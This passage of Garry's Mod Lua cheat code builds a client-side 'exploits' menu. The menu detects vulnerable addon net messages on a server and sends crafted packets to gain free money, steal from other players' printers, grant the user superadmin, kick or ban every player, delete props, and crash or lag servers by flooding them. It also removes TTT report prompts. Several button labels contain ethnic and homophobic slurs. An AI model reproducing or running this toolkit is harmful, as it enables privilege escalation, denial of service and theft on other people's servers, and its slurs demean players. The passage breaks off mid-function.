1006 exploitsPanel.Paint = function(self, w, h)
1007 draw.RoundedBox(0, 0, 0, w, h, Color(25, 25, 25, 100))
1008 draw.OutlinedBox(0, 0, w, h, 1, Color(0, 0, 0))
1009 end
1010
1011 local exploitsScrollPanel = vgui.Create("DScrollPanel", exploitsPanel)
1012 exploitsScrollPanel:Dock(FILL)
1013
1014 //////////// [NEW EXPLOIT] ////////////
1015 --------------------
1016 totalSploits = 0
1017
1018 function addExploit(id, text, desc, func)
1019 totalSploits = 1 + totalSploits
1020 local id = vgui.Create("DButton", exploitsScrollPanel)
1021 id:SetText(text)
1022 id:SetTextColor(Color(200, 200, 200))
1023 id:SetFont("Roboto")
1024 id:Dock(TOP)
1025 id:DockMargin(10, 10, 10, -5)
1026 id:DockPadding(2, 25, 2, 50)
1027 id.DoClick = func
1028
1029 if desc then
1030 id:SetToolTip(desc)
1031 end
1032
1033 id.Paint = function(self, w, h)
1034 id.OnCursorEntered = function(self)
1035 -- surface.PlaySound( "garrysmod/ui_hover.wav" )
1036 surface.PlaySound("buttons/button15.wav")
1037 end
1038
1039 if id:IsHovered() then
1040 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
1041 surface.SetDrawColor(Color(0, 0, 0, 255))
1042 surface.DrawOutlinedRect(0, 0, id:GetSize())
1043 surface.DrawOutlinedRect(0, 25, id:GetSize())
1044 else
1045 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
1046 surface.SetDrawColor(Color(0, 0, 0, 255))
1047 surface.DrawOutlinedRect(0, 0, id:GetSize())
1048 surface.DrawOutlinedRect(0, 25, id:GetSize())
1049 end
1050 end
1051 end
1052
1053 --////////////////// [EXPLOITS] ////////////////////
1054 status = ValidNetString("TCBBuyAmmo")
1055
1056 if (status) then
1057 ECPrint("Found Exploit: Free Ammo [TCBBuyAmmo]")
1058
1059 addExploit("1", "Free Ammo", "Gets All Ammo Types", function()
1060 surface.PlaySound("garrysmod/ui_click.wav")
1061 ECPrint("Getting Le Ammo")
1062
1063 for k, v in pairs(GAMEMODE.AmmoTypes) do
1064 net.Start("TCBBuyAmmo")
1065 net.WriteTable({nil, v.ammoType, nil, "0", "999999"})
1066 net.SendToServer()
1067 end
1068 end)
1069 end
1070
1071 status = ValidNetString("DataSend")
1072
1073 if (status) then
1074 ECPrint("Found Exploit: Steal All Monies #1 [DataSend]")
1075
1076 addExploit("2", "Steal All Monies #1", "Takes money from printers", function()
1077 surface.PlaySound("garrysmod/ui_click.wav")
1078
1079 for k, v in pairs(ents.GetAll()) do
1080 if v:GetClass() == "adv_moneyprinter" then
1081 ECPrint("Collecting Money")
1082 net.Start("DataSend")
1083 net.WriteFloat(2)
1084 net.WriteEntity(v)
1085 net.WriteEntity(LocalPlayer())
1086 net.SendToServer()
1087 end
1088 end
1089 end)
1090 end
1091
1092 status = ValidNetString("FarmingmodSellItems")
1093
1094 if (status) then
1095 ECPrint("Found Exploit: Free Money [FarmingmodSellItems]")
1096
1097 addExploit("3", "Free Money", "An exploit in the Farming Mod", function()
1098 surface.PlaySound("garrysmod/ui_click.wav")
1099 ECPrint("Enjoy the b1g monies")
1100 net.Start("FarmingmodSellItems")
1101
1102 net.WriteTable({
1103 Cost = 10,
1104 CropModel = "models/props/eryk/garlic.mdl",
1105 CropType = 2,
1106 Info = "Garlic Seed",
1107 Model = "models/props/eryk/seedbag.mdl",
1108 Name = "Garlic",
1109 Quality = 4,
1110 Sell = 99999,
1111 Type = "Seed"
1112 })
1113
1114 net.WriteInt(1, 16)
1115 net.SendToServer()
1116 end)
1117 end
1118
1119 status = ValidNetString("start_wd_emp")
1120
1121 if (status) then
1122 ECPrint("Found Exploit: Hack Keypad [start_wd_emp]")
1123
1124 addExploit("4", "Hack Keypad", "Instantly opens nearby keypads. Has a cooldown", function()
1125 surface.PlaySound("garrysmod/ui_click.wav")
1126 ECNotify("Hacking Keypads")
1127 net.Start("start_wd_emp")
1128 net.SendToServer()
1129 end)
1130 end
1131
1132 status = ValidNetString("duelrequestguiYes")
1133
1134 if (status) then
1135 ECPrint("Found Exploit: Get Money [duelrequestguiYes]")
1136
1137 addExploit("5", "Get Money", "Duel Exploit", function()
1138 surface.PlaySound("garrysmod/ui_click.wav")
1139 ECNotify("getting ez monies")
1140 net.Start("duelrequestguiYes")
1141 net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999, 32)
1142 net.WriteEntity(table.Random(player.GetAll()))
1143 net.WriteString("Crossbow")
1144 net.SendToServer()
1145 end)
1146 end
1147
1148 status = ValidNetString("DarkRP_Kun_ForceSpawn")
1149
1150 if (status) then
1151 ECPrint("Found Exploit: Respawn #1 [DarkRP_Kun_ForceSpawn]")
1152
1153 addExploit("6", "Respawn #1", "Just respawn", function()
1154 surface.PlaySound("garrysmod/ui_click.wav")
1155 ECPrint("Respawn")
1156 net.Start("DarkRP_Kun_ForceSpawn")
1157 net.SendToServer()
1158 end)
1159 end
1160
1161 status = ValidNetString("SyncPrinterButtons76561198056171650")
1162
1163 if (status) then
1164 ECPrint("Found Exploit: Steal All Monies #2 [SyncPrinterButtons76561198056171650]")
1165
1166 addExploit("7", "Steal All Monies #2", "Takes money from printers", function()
1167 surface.PlaySound("garrysmod/ui_click.wav")
1168 ECPrint("Collecting Money")
1169
1170 for k, v in pairs(ents.GetAll()) do
1171 if (v:GetClass() == "adv_moneyprinter") then
1172 net.Start("SyncPrinterButtons76561198056171650")
1173 net.WriteEntity(v)
1174 net.WriteUInt(2, 4)
1175 net.SendToServer()
1176 end
1177 end
1178 end)
1179 end
1180
1181 ---------------------------------------------------------------------------------------------
1182 local function report()
1183 for i = 1, 2000 do
1184 net.Start("DL_Answering")
1185 net.SendToServer()
1186 end
1187 end
1188
1189 if (Damagelog) then
1190 ECPrint("Found Exploit: Kick All Players")
1191 reportSpam = 0
1192
1193 addExploit("1337", "Kick All Players", "Kicks all players", function()
1194 surface.PlaySound("garrysmod/ui_click.wav")
1195
1196 if (reportSpam == 0) then
1197 ECNotify("Starting Kicker")
1198 reportSpam = 1
1199 timer.Create("reportSpammer", 0.05, 0, report)
1200 else
1201 ECNotify("Stopping Kicker")
1202 reportSpam = 0
1203 timer.Remove("reportSpammer")
1204 end
1205 end)
1206 end
1207
1208 ----------------------------------------------------------------------------------------------
1209 status = ValidNetString("SimplicityAC_aysent")
1210
1211 if (status) then
1212 ECPrint("Found Exploit: Crash #1 [SimplicityAC_aysent]")
1213
1214 addExploit("8", "Crash #1", "Will instantly crash the server", function()
1215 surface.PlaySound("garrysmod/ui_click.wav")
1216 ECPrint("Goodbye Server")
1217 local tbl = {}
1218
1219 for i = 1, 400 do
1220 tbl[i] = i
1221 end
1222
1223 net.Start("SimplicityAC_aysent")
1224 net.WriteUInt(1, 8)
1225 net.WriteUInt(4294967295, 32)
1226 net.WriteTable(tbl)
1227 net.SendToServer()
1228 end)
1229 end
1230
1231 status = ValidNetString("RevivePlayer")
1232
1233 if (status) then
1234 ECPrint("Found Exploit: Reanimation #1 [RevivePlayer]")
1235
1236 addExploit("9", "Reanimation #1", "Instant revival", function()
1237 surface.PlaySound("garrysmod/ui_click.wav")
1238
1239 if not timer.Exists("reanimation1") then
1240 ECNotify("Enabled")
1241
1242 timer.Create("reanimation1", 0.5, 0, function()
1243 if not LocalPlayer():Alive() then
1244 net.Start("RevivePlayer")
1245 net.WriteEntity(LocalPlayer())
1246 net.SendToServer()
1247 end
1248 end)
1249 else
1250 timer.Remove("reanimation1")
1251 ECNotify("Disabled")
1252 end
1253 end)
1254 end
1255
1256 status = ValidNetString("NLRKick")
1257
1258 if (status) then
1259 ECPrint("Found Exploit: Kick Everyone [NLRKick]")
1260
1261 addExploit("10", "Kick Everyone", "kick all the beaners", function()
1262 surface.PlaySound("garrysmod/ui_click.wav")
1263 ECNotify("Kicking All")
1264
1265 for k, v in pairs(player.GetAll()) do
1266 if v ~= LocalPlayer() then
1267 net.Start("NLRKick")
1268 net.WriteEntity(v)
1269 net.SendToServer()
1270 end
1271 end
1272 end)
1273 end
1274
1275 status = ValidNetString("timebombDefuse")
1276
1277 if (status) then
1278 ECPrint("Found Exploit: Delete All Props [timebombDefuse]")
1279
1280 addExploit("11", "Delete All Props", "props = dead", function()
1281 surface.PlaySound("garrysmod/ui_click.wav")
1282 ECNotify("Props De_Stroyed")
1283
1284 for k, v in pairs(ents.GetAll()) do
1285 net.Start("timebombDefuse")
1286 net.WriteEntity(v)
1287 net.WriteBool(true)
1288 net.SendToServer()
1289 end
1290 end)
1291 end
1292
1293 status = ValidNetString("NDES_SelectedEmblem")
1294
1295 if (status) then
1296 ECPrint("Found Exploit: Lagger #2 [NDES_SelectedEmblem]")
1297
1298 addExploit("12", "Lagger #2", "oof yuh get l4gged", function()
1299 surface.PlaySound("garrysmod/ui_click.wav")
1300
1301 if not timer.Exists("lagger2") then
1302 timer.Create("lagger2", 0.5, 0, function()
1303 for i = 1, 2000 do
1304 net.Start("NDES_SelectedEmblem", true)
1305 net.WriteString("seized")
1306 net.SendToServer()
1307 end
1308 end)
1309
1310 ECNotify("Starting Lagger")
1311 else
1312 timer.Remove("lagger2")
1313 ECNotify("Stopping Lagger")
1314 end
1315 end)
1316 end
1317
1318 status = ValidNetString("Morpheus.StaffTracker")
1319
1320 if (status) then
1321 ECPrint("Found Exploit: Crasher #1 [Morpheus.StaffTracker]")
1322
1323 addExploit("13", "Crasher #1", "not even hard. unlike nippy's dick when he sees voltz", function()
1324 surface.PlaySound("garrysmod/ui_click.wav")
1325
1326 if not timer.Exists("crasher1") then
1327 timer.Create("crasher1", 0.5, 0, function()
1328 for i = 1, 2000 do
1329 net.Start("Morpheus.StaffTracker")
1330 net.SendToServer()
1331 end
1332 end)
1333
1334 ECNotify("Crashing Server")
1335 else
1336 timer.Remove("crasher1")
1337 ECNotify("Canceling Crasher")
1338 end
1339 end)
1340 end
1341
1342 status = ValidNetString("egg")
1343
1344 if (status) then
1345 ECPrint("Found Exploit: Get Easter Egg")
1346
1347 addExploit("14", "Get Easter Egg", "ez eggs", function()
1348 surface.PlaySound("garrysmod/ui_click.wav")
1349 RunConsoleCommand("say", "4bigz")
1350 RunConsoleCommand("cc_egg2")
1351 net.Start("egg")
1352 net.SendToServer()
1353 ECNotify("Gave Easter Egg")
1354 end)
1355 end
1356
1357 status = ValidNetString("pplay_deleterow")
1358
1359 if (status) then
1360 ECPrint("Found Exploit: GET SUPERADMIN [pplay_deleterow]")
1361
1362 addExploit("15", "GET SUPERADMIN", "Rejoin game after clicking", function()
1363 surface.PlaySound("garrysmod/ui_click.wav")
1364 local id = LocalPlayer():SteamID()
1365 local tbl = {}
1366 tbl.name = "FAdmin_PlayerGroup"
1367 tbl.where = {"steamid", tostring(id)}
1368 net.Start("pplay_deleterow")
1369 net.WriteTable(tbl)
1370 net.SendToServer()
1371 local tbl = {}
1372 tbl.tblname = "FAdmin_PlayerGroup"
1373 tbl.tblinfo = {tostring(id), "superadmin"}
1374 net.Start("pplay_addrow")
1375 net.WriteTable(tbl)
1376 net.SendToServer()
1377 ECNotify("promotion ;)")
1378 end)
1379 end
1380
1381 -- ttt report bypass by daddy grampa
1382 local function CheckChild(pan)
1383 local title = "You have been reported! Please answer all your reports."
1384 if not pan or not IsValid(pan) then return end
1385
1386 if pan.GetTitle and pan:GetTitle() == title then
1387 pan:Remove()
1388 print("Removed warning box")
1389
1390 return
1391 end
1392
1393 for k, v in pairs(pan:GetChildren()) do
1394 if v.GetTitle and v:GetTitle() == title then
1395 v:Remove()
1396 print("Removed warning box")
1397
1398 return
1399 end
1400
1401 if #v:GetChildren() > 0 then
1402 CheckChild(v)
1403 end
1404 end
1405 end
1406
1407 if (engine.ActiveGamemode() == "terrortown") then
1408 bypass = 0
1409 ECPrint("Found Exploit: TTT Report Bypass")
1410
1411 addExploit("16", "Toggle TTT Report Bypass", "b1g bypass amirite", function()
1412 surface.PlaySound("garrysmod/ui_click.wav")
1413
1414 if (bypass == 0) then
1415 hook.Add("Think", "remove_ttt_report", function()
1416 local pan = vgui.GetHoveredPanel()
1417 CheckChild(pan)
1418 end)
1419
1420 ECNotify("Enabled Report Bypass")
1421 bypass = 1
1422 else
1423 hook.Remove("Think", "remove_ttt_report")
1424 ECNotify("Disabled Report Bypass")
1425 bypass = 0
1426 end
1427 end)
1428 end
1429
1430 status = ValidNetString("EZS_PlayerTag")
1431
1432 if (status) then
1433 ECPrint("Found Exploit: Lagger #3 [EZS_PlayerTag]")
1434
1435 addExploit("17", "Lagger #3", "b1g lags my duder", function()
1436 surface.PlaySound("garrysmod/ui_click.wav")
1437
1438 if not timer.Exists("lagger3") then
1439 timer.Create("lagger3", 0.5, 0, function()
1440 for k, v in pairs(player.GetAll()) do
1441 net.Start("EZS_PlayerTag", true)
1442 net.WriteEntity(v)
1443 net.WriteString("Seized")
1444 net.SendToServer()
1445
1446 timer.Simple(2, function()
1447 net.Start("EZS_PlayerTag", true)
1448 net.WriteEntity(v)
1449 net.WriteString("Seized")
1450 net.SendToServer()
1451 end)
1452 end
1453 end)
1454
1455 ECNotify("Starting Lagger")
1456 else
1457 timer.Remove("lagger3")
1458 ECNotify("Stopping Lagger")
1459 end
1460 end)
1461 end
1462
1463 if ConVarExists("advttt_spreadovertime_enabled") then
1464 ECPrint("Found Exploit: Remove Spread")
1465
1466 addExploit("18", "Remove Spread", "pSilent No Spread", function()
1467 surface.PlaySound("garrysmod/ui_click.wav")
1468 hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
1469 ECNotify("Spread Removed")
1470 end)
1471 end
1472
1473 status = ValidNetString("fp_as_doorHandler")
1474
1475 if (status) then
1476 ECPrint("Found Exploits: Open Door, Close Door, Remove Door Owners [fp_as_doorHandler]")
1477
1478 addExploit("19", "Open Door", "Force open the door you are looking at", function()
1479 surface.PlaySound("garrysmod/ui_click.wav")
1480 net.Start("fp_as_doorHandler")
1481 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
1482 net.WriteString("unlock")
1483 net.SendToServer()
1484 ECNotify("Opened Door")
1485 end)
1486 end
1487
1488 status = ValidNetString("fp_as_doorHandler")
1489
1490 if (status) then
1491 addExploit("20", "Close Door", "Force close the door you are looking at", function()
1492 surface.PlaySound("garrysmod/ui_click.wav")
1493 net.Start("fp_as_doorHandler")
1494 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
1495 net.WriteString("lock")
1496 net.SendToServer()
1497 ECNotify("Opened Door")
1498 end)
1499 end
1500
1501 status = ValidNetString("fp_as_doorHandler")
1502
1503 if (status) then
1504 addExploit("21", "Remove Door Owner", "Force remove door owner of the door you are looking at", function()
1505 surface.PlaySound("garrysmod/ui_click.wav")
1506 local door = LocalPlayer():GetEyeTrace().Entity
1507 local doorOwner = door:getDoorData()["owner"]
1508 net.Start("fp_as_doorHandler")
1509 net.WriteEntity(door)
1510 net.WriteString("removeOwner")
1511 net.WriteDouble(doorOwner)
1512 net.SendToServer()
1513 ECNotify("Opened Door")
1514 end)
1515 end
1516
1517 status = ValidNetString("VJSay")
1518
1519 if (status) then
1520 ECPrint("Found Exploit: VJSay [OLD] [VJSay]")
1521
1522 addExploit("22", "VJSay [OLD]", "", function()
1523 surface.PlaySound("garrysmod/ui_click.wav")
1524 inputFrame2Exists = true
1525 inputFrame2 = vgui.Create("DFrame")
1526 inputFrame2:SetTitle("Enter your message!")
1527 inputFrame2:SetSize(400, 75)
1528 inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230)
1529 inputFrame2:SetDraggable(false)
1530 inputFrame2:ShowCloseButton(false)
1531 inputFrame2:MakePopup()
1532
1533 inputFrame2.Paint = function(self, w, h)
1534 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
1535 end
1536
1537 local TextEntry2 = vgui.Create("DTextEntry", inputFrame2)
1538 TextEntry2:SetSize(380, 30)
1539 TextEntry2:SetPos(inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2)
1540 TextEntry2:SetText("Broadcast Msg")
1541
1542 TextEntry2.OnEnter = function(self)
1543 surface.PlaySound("garrysmod/ui_click.wav")
1544 ECNotify("Broadcasting")
1545 net.Start("VJSay")
1546 net.WriteEntity(nil)
1547 net.WriteString(TextEntry2:GetValue())
1548 net.WriteString("")
1549 net.SendToServer()
1550 inputFrame2:SetVisible(false)
1551 end
1552 end)
1553 end
1554
1555 status = ValidNetString("ply_pick_shit")
1556
1557 if (status) then
1558 ECPrint("Found Exploit: free money amirite [ply_pick_shit]")
1559
1560 addExploit("23", "free money amirite", "stacks in ur wallet generator", function()
1561 surface.PlaySound("garrysmod/ui_click.wav")
1562
1563 for k, v in pairs(player.GetAll()) do
1564 for i = 1, 255 do
1565 net.Start("ply_pick_shit")
1566 net.WriteEntity(LocalPlayer())
1567 net.WriteEntity(v)
1568 net.SendToServer()
1569 end
1570 end
1571
1572 ECNotify("enjoy monies")
1573 end)
1574 end
1575
1576 status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
1577
1578 if (status) then
1579 ECPrint("Found Exploit: Crasher #2 [pac.net.TouchFlexes.ClientNotify]")
1580
1581 addExploit("24", "Crasher #2", "big lagz", function()
1582 surface.PlaySound("garrysmod/ui_click.wav")
1583
1584 if not timer.Exists("crasher2") then
1585 timer.Create("crasher2", 0, 0, function()
1586 for i = 1, 400 do
1587 net.Start("pac.net.TouchFlexes.ClientNotify")
1588 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 13)
1589 net.SendToServer()
1590 end
1591 end)
1592
1593 ECNotify("Starting Crasher")
1594 else
1595 timer.Remove("crasher2")
1596 ECNotify("Stopping Crasher")
1597 end
1598 end)
1599 end
1600
1601 status = ValidNetString("BM2.Command.SellBitcoins")
1602
1603 if (status) then
1604 ECPrint("Found Exploit: Sell Your Bitcoins [BM2.Command.SellBitcoins]")
1605
1606 addExploit("25", "Sell your Bitcoins", "sells your and other peoples bitcoins at a great distance", function()
1607 surface.PlaySound("garrysmod/ui_click.wav")
1608
1609 for k, v in pairs(ents.FindByClass("bm2_bitminer_1")) do
1610 net.Start("BM2.Command.SellBitcoins")
1611 net.WriteEntity(v)
1612 net.SendToServer()
1613 end
1614
1615 for k, v in pairs(ents.FindByClass("bm2_bitminer_2")) do
1616 net.Start("BM2.Command.SellBitcoins")
1617 net.WriteEntity(v)
1618 net.SendToServer()
1619 end
1620
1621 for k, v in pairs(ents.FindByClass("bm2_bitminer_rack")) do
1622 net.Start("BM2.Command.SellBitcoins")
1623 net.WriteEntity(v)
1624 net.SendToServer()
1625 end
1626 end)
1627 end
1628
1629 status = ValidNetString("BM2.Command.Eject")
1630
1631 if (status) then
1632 ECPrint("Found Exploit: Lagger #4 [BM2.Command.Eject]")
1633
1634 addExploit("26", "Lagger #4", "discovered by triggered", function()
1635 surface.PlaySound("garrysmod/ui_click.wav")
1636
1637 if not timer.Exists("lagger4") then
1638 timer.Create("lagger4", 0, 0, function()
1639 for i = 1, 1000 do
1640 net.Start("BM2.Command.Eject", true)
1641 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 8)
1642 net.SendToServer()
1643 end
1644 end)
1645
1646 ECNotify("Starting Lagger")
1647 else
1648 timer.Remove("lagger4")
1649 ECNotify("Stopping Lagger")
1650 end
1651 end)
1652 end
1653
1654 status = ValidNetString("BM2.Command.SellBitcoins")
1655
1656 if (status) then
1657 ECPrint("Found Exploit: Lagger #5 [BM2.Command.SellBitcoins]")
1658
1659 addExploit("27", "Lagger #5", "discovered by Leith, an exploit in the addon 'Bitminers 2'", function()
1660 surface.PlaySound("garrysmod/ui_click.wav")
1661
1662 timer.Create("lagger5", 0, 0, function()
1663 for i = 1, 1000 do
1664 net.Start("BM2.Command.SellBitcoins", true)
1665 net.WriteEntity(LocalPlayer())
1666 net.SendToServer()
1667 end
1668 end)
1669 end)
1670 end
1671
1672 status = ValidNetString("ItemStoreUse")
1673
1674 if (status) then
1675 ECPrint("Found Exploit: Lagger #6 [ItemStoreUse]")
1676
1677 addExploit("28", "Lagger #6", "discovered by triggered, an exploit in the addon 'ItemStore'", function()
1678 surface.PlaySound("garrysmod/ui_click.wav")
1679
1680 if not timer.Exists("lagger6") then
1681 timer.Create("lagger6", 0, 0, function()
1682 for i = 1, 1000 do
1683 net.Start("ItemStoreUse", true)
1684 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1685 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1686 net.SendToServer()
1687 end
1688 end)
1689
1690 ECNotify("Starting Lagger")
1691 else
1692 timer.Remove("lagger6")
1693 ECNotify("Stopping Lagger")
1694 end
1695 end)
1696 end
1697
1698 status = ValidNetString("ItemStoreDrop")
1699
1700 if (status) then
1701 ECPrint("Found Exploit: Lagger #7 [ItemStoreDrop]")
1702
1703 addExploit("29", "Lagger #7", "discovered by Leith, an exploit in the addon 'ItemStore'", function()
1704 surface.PlaySound("garrysmod/ui_click.wav")
1705
1706 if not timer.Exists("lagger7") then
1707 timer.Create("lagger7", 0, 0, function()
1708 for i = 1, 1000 do
1709 net.Start("ItemStoreDrop", true)
1710 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1711 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1712 net.SendToServer()
1713 end
1714 end)
1715
1716 ECNotify("Starting Lagger")
1717 else
1718 timer.Remove("lagger7")
1719 ECNotify("Stopping Lagger")
1720 end
1721 end)
1722 end
1723
1724 status = ValidNetString("gMining.sellMineral")
1725
1726 if (status) then
1727 ECPrint("Found Exploit: Lagger #8 [gMining.sellMineral]")
1728
1729 addExploit("30", "Lagger #8", "discovered by Leith, an exploit in the addon 'gMining'", function()
1730 surface.PlaySound("garrysmod/ui_click.wav")
1731 ECNotify("Starting")
1732
1733 if not timer.Exists("lagger8") then
1734 timer.Create("lagger8", 0, 0, function()
1735 for i = 1, 1000 do
1736 net.Start("gMining.sellMineral", true)
1737 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 3)
1738 net.WriteString(" ")
1739 net.SendToServer()
1740 end
1741 end)
1742 end
1743 end)
1744 end
1745
1746 status = ValidNetString("PlayerUseItem")
1747
1748 if (status) then
1749 ECPrint("Found Exploit: Lagger #9 [PlayerUseItem]")
1750
1751 addExploit("31", "Lagger #9", "discovered by triggered", function()
1752 surface.PlaySound("garrysmod/ui_click.wav")
1753
1754 if not timer.Exists("lagger9") then
1755 timer.Create("lagger9", 0, 0, function()
1756 for i = 1, 800 do
1757 net.Start("PlayerUseItem", true)
1758 net.WriteInt(99999999999999999999999999999999999999999999999, 32)
1759 net.SendToServer()
1760 end
1761 end)
1762
1763 ECNotify("Starting Lagger")
1764 else
1765 timer.Remove("lagger9")
1766 ECNotify("Stopping Lagger")
1767 end
1768 end)
1769 end
1770
1771 status = ValidNetString("RequestMAPSize")
1772
1773 if (status) then
1774 ECPrint("Found Exploit: Lagger #10 [RequestMAPSize]")
1775
1776 addExploit("32", "Lagger #10", "1tap server", function()
1777 surface.PlaySound("garrysmod/ui_click.wav")
1778
1779 if not timer.Exists("lagger10") then
1780 timer.Create("lagger10", 0, 0, function()
1781 for i = 1, 400 do
1782 net.Start("RequestMAPSize", true)
1783 net.SendToServer()
1784 end
1785 end)
1786
1787 ECNotify("Starting Lagger")
1788 else
1789 timer.Remove("lagger10")
1790 ECNotify("Stopping Lagger")
1791 end
1792 end)
1793 end
1794
1795 status = ValidNetString("MG2.Request.GangRankings")
1796
1797 if (status) then
1798 ECPrint("Found Exploit: Lagger #11 [MG2.Request.GangRankings]")
1799
1800 addExploit("33", "Lagger #11", "discovered by Leith, an exploit in the addon 'MGangs 2'", function()
1801 surface.PlaySound("garrysmod/ui_click.wav")
1802
1803 if not timer.Exists("lagger11") then
1804 timer.Create("lagger11", 0, 0, function()
1805 for i = 1, 1000 do
1806 net.Start("MG2.Request.GangRankings", true)
1807 net.SendToServer()
1808 end
1809 end)
1810
1811 ECNotify("Starting Lagger")
1812 else
1813 timer.Remove("lagger11")
1814 ECNotify("Stopping Lagger")
1815 end
1816 end)
1817 end
1818
1819 status = ValidNetString("dLogsGetCommand")
1820
1821 if (status) then
1822 ECPrint("Found Exploit: Lagger #12 [dLogsGetCommand]")
1823
1824 addExploit("34", "Lagger #12", "b1g lags", function()
1825 surface.PlaySound("garrysmod/ui_click.wav")
1826 ECNotify("Starting Lagger")
1827
1828 for i = 1, 7000 do
1829 net.Start("dLogsGetCommand", true)
1830
1831 net.WriteTable({
1832 cmd = "+forward",
1833 args = " "
1834 })
1835
1836 net.SendToServer()
1837 end
1838 end)
1839 end
1840
1841 status = ValidNetString("ats_send_toServer")
1842
1843 if (status) then
1844 ECPrint("Found Exploit: Lagger #13 [ats_send_toServer]")
1845
1846 addExploit("35", "Lagger #13", "big lags", function()
1847 surface.PlaySound("garrysmod/ui_click.wav")
1848 ECNotify("Starting Lagger")
1849
1850 for i = 1, 2000 do
1851 net.Start("ats_send_toServer", true)
1852 net.WriteTable({" ", "Open", nil, nil, nil, nil})
1853 net.SendToServer()
1854 end
1855 end)
1856 end
1857
1858 status = ValidNetString("shopguild_buyitem")
1859
1860 if (status) then
1861 ECPrint("Found Exploit: Guild Exploit [shopguild_buyitem]")
1862
1863 addExploit("36", "Guild Exploit", "increases the level of your guild", function()
1864 surface.PlaySound("garrysmod/ui_click.wav")
1865 ECPrint("Guild level successfully upgraded")
1866 local level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
1867
1868 if level > tonumber(LocalPlayer():GetNWInt("lvlguild")) then
1869 level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
1870 end
1871
1872 net.Start("shopguild_buyitem")
1873 net.WriteString("lvl")
1874 net.WriteDouble(level)
1875 net.WriteString("Guild Level " .. level)
1876 net.WriteEntity(LocalPlayer())
1877 net.WriteUInt(2, 4)
1878 net.WriteDouble(0)
1879 net.SendToServer()
1880 level = level + 1
1881 end)
1882 end
1883
1884 status = ValidNetString("VoteKickNO")
1885
1886 if (status) then
1887 ECPrint("Found Exploit: Votekick [VoteKickNO]")
1888
1889 addExploit("37", "Votekick", "kicking all", function()
1890 surface.PlaySound("garrysmod/ui_click.wav")
1891
1892 for k, v in pairs(player.GetAll()) do
1893 net.Start("VoteKickNO")
1894 net.WriteFloat(v:EntIndex())
1895 net.WriteFloat(6)
1896 net.SendToServer()
1897 net.Start("VoteKickNO")
1898 net.WriteFloat(v:EntIndex())
1899 net.WriteFloat(6)
1900 net.SendToServer()
1901 net.Start("VoteKickNO")
1902 net.WriteFloat(v:EntIndex())
1903 net.WriteFloat(6)
1904 net.SendToServer()
1905 net.Start("VoteKickNO")
1906 net.WriteFloat(v:EntIndex())
1907 net.WriteFloat(6)
1908 net.SendToServer()
1909 end
1910 end)
1911 end
1912
1913 status = ValidNetString("VoteBanNO")
1914
1915 if (status) then
1916 ECPrint("Found Exploit: Voteban [VoteBanNO]")
1917
1918 addExploit("38", "Voteban", "bans all", function()
1919 surface.PlaySound("garrysmod/ui_click.wav")
1920
1921 for k, v in pairs(player.GetAll()) do
1922 net.Start("VoteBanNO")
1923 net.WriteFloat(v:EntIndex())
1924 net.WriteFloat(8)
1925 net.SendToServer()
1926 net.Start("VoteBanNO")
1927 net.WriteFloat(v:EntIndex())
1928 net.WriteFloat(8)
1929 net.SendToServer()
1930 net.Start("VoteBanNO")
1931 net.WriteFloat(v:EntIndex())
1932 net.WriteFloat(8)
1933 net.SendToServer()
1934 end
1935 end)
1936 end
1937
1938 status = ValidNetString("NewReport")
1939
1940 if (status) then
1941 ECPrint("Found Exploit: Custom Report [NewReport]")
1942
1943 addExploit("39", "Custom Report", "Report all faggots", function()
1944 surface.PlaySound("garrysmod/ui_click.wav")
1945
1946 for k, v in pairs(player.GetAll()) do
1947 net.Start("NewReport")
1948 net.WriteType(ply)
1949 net.WriteInt(8, 5)
1950 net.WriteString("hahaha")
1951 net.SendToServer()
1952 end
1953 end)
1954 end
1955
1956 status = ValidNetString("Warn_CreateWarn")
1957
1958 if (status) then
1959 ECPrint("Found Exploit: Custom Warn [Warn_CreateWarn]")
1960
1961 addExploit("40", "Custom Warn", "Warn all faggots", function()
1962 surface.PlaySound("garrysmod/ui_click.wav")
1963
1964 for k, v in pairs(player.GetAll()) do
1965 net.Start("Warn_CreateWarn")
1966 net.WriteEntity(ply)
1967 net.WriteString("hahaha")
1968 net.SendToServer()
1969 end
1970 end)
1971 end
1972
1973 status = ValidNetString("showDisguiseHUD")
1974
1975 if (status) then
1976 ECPrint("Found Exploit: Disguise #2 [showDisguiseHUD]")
1977
1978 addExploit("41", "Disguise #2", "allows you to disguise as any job", function()
1979 surface.PlaySound("garrysmod/ui_click.wav")
1980 ECPrint("Choose a disguise")
1981 PlayerCount = 0
1982
1983 for k, v in pairs(player.GetAll()) do
1984 PlayerCount = PlayerCount + 1
1985 end
1986
1987 local TeamNum
1988 local disguise_Model_Preview_Default
1989 local base = vgui.Create("DFrame")
1990 base:SetSize(300, 420)
1991 base:Center()
1992 base:SetTitle(" ")
1993 base:ShowCloseButton(false)
1994 base:MakePopup()
1995
1996 function base:Paint()
1997 draw.RoundedBoxEx(5, 0, 0, base:GetWide(), base:GetTall(), Color(20, 20, 20, 200), false, true)
1998 draw.RoundedBox(0, 0, 30, base:GetWide(), base:GetTall() - 60, Color(10, 10, 10, 200))
1999 draw.RoundedBox(0, 0, 30, base:GetWide(), 5, Color(255, 255, 255, 255))
2000 draw.RoundedBox(0, 0, 390, base:GetWide(), 5, Color(255, 255, 255, 255))
2001 draw.SimpleText("Disguise", "DisFontBold", base:GetWide() / 4, -1)
2002 end
2003
